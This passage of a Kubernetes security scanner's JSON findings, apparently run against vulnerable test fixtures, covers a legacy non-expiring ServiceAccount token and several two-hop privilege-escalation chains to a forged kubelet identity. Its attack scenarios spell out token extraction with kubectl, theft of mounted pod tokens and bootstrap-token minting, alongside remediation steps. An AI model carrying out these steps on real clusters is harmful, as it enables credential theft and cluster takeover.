    "id": "KUBE-SECRETS-001:vulnerable:legacy-token",
    "rule_id": "KUBE-SECRETS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Secret `vulnerable/legacy-token` is a long-lived `kubernetes.io/service-account-token` (legacy, no expiry)",
    "description": "Secret `vulnerable/legacy-token` has type `kubernetes.io/service-account-token`. This is the legacy ServiceAccount token model: the token-controller persists a JWT into a Secret, the token has *no expiry* (the audience is the API server, the validity is open-ended), and it is readable by any subject with `get/list secrets` permission in the namespace.\n\nSince Kubernetes v1.22, Bound ServiceAccount Tokens (KEP-1205) replaced this model: the kubelet projects a *new* token into the pod's filesystem with a short TTL (default 1h) and the token is bound to the pod object, so deleting the pod invalidates the token. v1.24 stopped auto-creating these legacy Secret tokens, and v1.27+ ships the `LegacyServiceAccountTokenCleaner` controller that removes unused ones automatically. A legacy token Secret today is either an artifact of a pre-1.24 cluster, a manually-created `serviceAccountToken` Secret, or a controller that explicitly created one. None of these carry the bind-to-pod, time-bounded properties of projected tokens.\n\nThe risk profile: a leaked legacy token grants whatever permissions its ServiceAccount has, *forever*, with no automatic revocation. It survives Pod restarts, node reboots, audit events, and rotation of the SA itself. Detection of misuse requires explicit audit-log monitoring against the SA name; rotation requires deleting the Secret and reissuing.",
    "resource": {
      "kind": "Secret",
      "name": "legacy-token",
      "namespace": "vulnerable"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "object",
      "detail": "Secret `vulnerable/legacy-token`: credential is valid until manually deleted; readable by any subject with `get/list secrets` in `vulnerable`"
    },
    "impact": "Anyone who exfiltrates this Secret holds a non-expiring credential with the ServiceAccount's full RBAC; rotation requires manual `kubectl delete secret` and re-issue, and there is no time-based mitigation.",
    "attack_scenario": [
      "Attacker compromises any subject with `get secrets` in `vulnerable` (e.g., a forgotten `view`-style role, an over-permissive ConfigMap-reader role that wildcards resources, or a pod token with secret-read).",
      "They `kubectl get secret legacy-token -n vulnerable -o jsonpath='{.data.token}' | base64 -d` and obtain the raw JWT.",
      "They use the token against the kube-apiserver from outside the cluster (`kubectl --token=...`). No pod, no node, no IMDS hop required.",
      "Because the token has no `exp` claim and no audience binding to a Pod, it remains valid weeks or months later. Rotation in IR is manual: delete the Secret + recreate, and any cached copies attacker has are *still valid until that delete*.",
      "Attacker uses the SA's RBAC to read other Secrets, list pods cluster-wide (if SA has it), exec into pods, or escalate via any of the privesc paths the SA enables."
    ],
    "evidence": {
      "type": "kubernetes.io/service-account-token"
    },
    "remediation": "Migrate the consumer of `vulnerable/legacy-token` to a projected ServiceAccount token, then delete the Secret. Enable `LegacyServiceAccountTokenCleaner` on the cluster.",
    "remediation_steps": [
      "Identify what reads `vulnerable/legacy-token`: `kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.secret.secretName == \"legacy-token\") | .metadata.namespace + \"/\" + .metadata.name'`. Also check Jobs, CronJobs, and external systems that might have copied the token out.",
      "Migrate each consumer to a projected SA token (`serviceAccountToken` projection in `volumes`) with a sensible `expirationSeconds` (e.g., 3600). The kubelet will refresh it automatically.",
      "For external consumers (CI runners, dashboards) that need a long-lived token, use TokenRequest API on demand instead of a stored Secret, or rotate via a sealed-secret / external-secret-store flow.",
      "`kubectl delete secret legacy-token -n vulnerable` once consumers are migrated. Confirm no pod has a CrashLoopBackOff that mentions the missing token.",
      "Enable the `LegacyServiceAccountTokenCleaner` (default on v1.29+) so future stragglers get garbage-collected after their last-used timestamp ages out."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#bound-service-account-tokens",
      "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#legacy-serviceaccount-token-tracking-and-cleaning",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Bound Service Account Tokens (KEP-1205)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#bound-service-account-tokens"
      },
      {
        "title": "Kubernetes — LegacyServiceAccountTokenCleaner \u0026 deprecated token controller",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#legacy-serviceaccount-token-tracking-and-cleaning"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1539",
        "name": "Steal Web Session Cookie",
        "url": "https://attack.mitre.org/techniques/T1539/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:serviceAccountToken"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/privesc-fixtures/sa-pod-create-escape:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 7.6000000000000005,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can **obtain a node identity** for any node in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-secret-mint` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. bootstrap_token_mint [create,get secrets in kube-system]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/rbac-fixtures/sa-pod-create:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 7.6000000000000005,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-pod-create` can **obtain a node identity** for any node in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-pod-create` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector\n  2. `ServiceAccount/kube-system/generic-garbage-collector` → `/` via `bootstrap_token_mint` (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-pod-create` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/kube-system/generic-garbage-collector` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/kube-system/generic-garbage-collector`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`delete,get,list,patch,update,watch secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. bootstrap_token_mint [delete,get,list,patch,update,watch secrets in kube-system]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/kube-system/generic-garbage-collector`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount kube-system/generic-garbage-collector",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 2,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete,get,list,patch,update,watch secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "system:controller:generic-garbage-collector",
        "source_role": "system:controller:generic-garbage-collector"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/rbac-fixtures/sa-workload-mutate:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 7.6000000000000005,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can **obtain a node identity** for any node in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/kube-system/generic-garbage-collector` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount kube-system/generic-garbage-collector\n  2. `ServiceAccount/kube-system/generic-garbage-collector` → `/` via `bootstrap_token_mint` (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/kube-system/generic-garbage-collector`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/kube-system/generic-garbage-collector`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`delete,get,list,patch,update,watch secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. bootstrap_token_mint [delete,get,list,patch,update,watch secrets in kube-system]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/kube-system/generic-garbage-collector`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `create deployments/daemonsets/statefulsets/jobs/cronjobs` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/kube-system/generic-garbage-collector`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount kube-system/generic-garbage-collector",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "generic-garbage-collector",
          "namespace": "kube-system"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete,get,list,patch,update,watch secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "system:controller:generic-garbage-collector",
        "source_role": "system:controller:generic-garbage-collector"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/vulnerable/privileged-reader:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 7.6000000000000005,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can **obtain a node identity** for any node in 2 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/kube-system/generic-garbage-collector` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount kube-system/generic-garbage-collector\n  2. `ServiceAccount/kube-system/generic-garbage-collector` → `/` via `bootstrap_token_mint` (delete,get,list,patch,update,watch secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
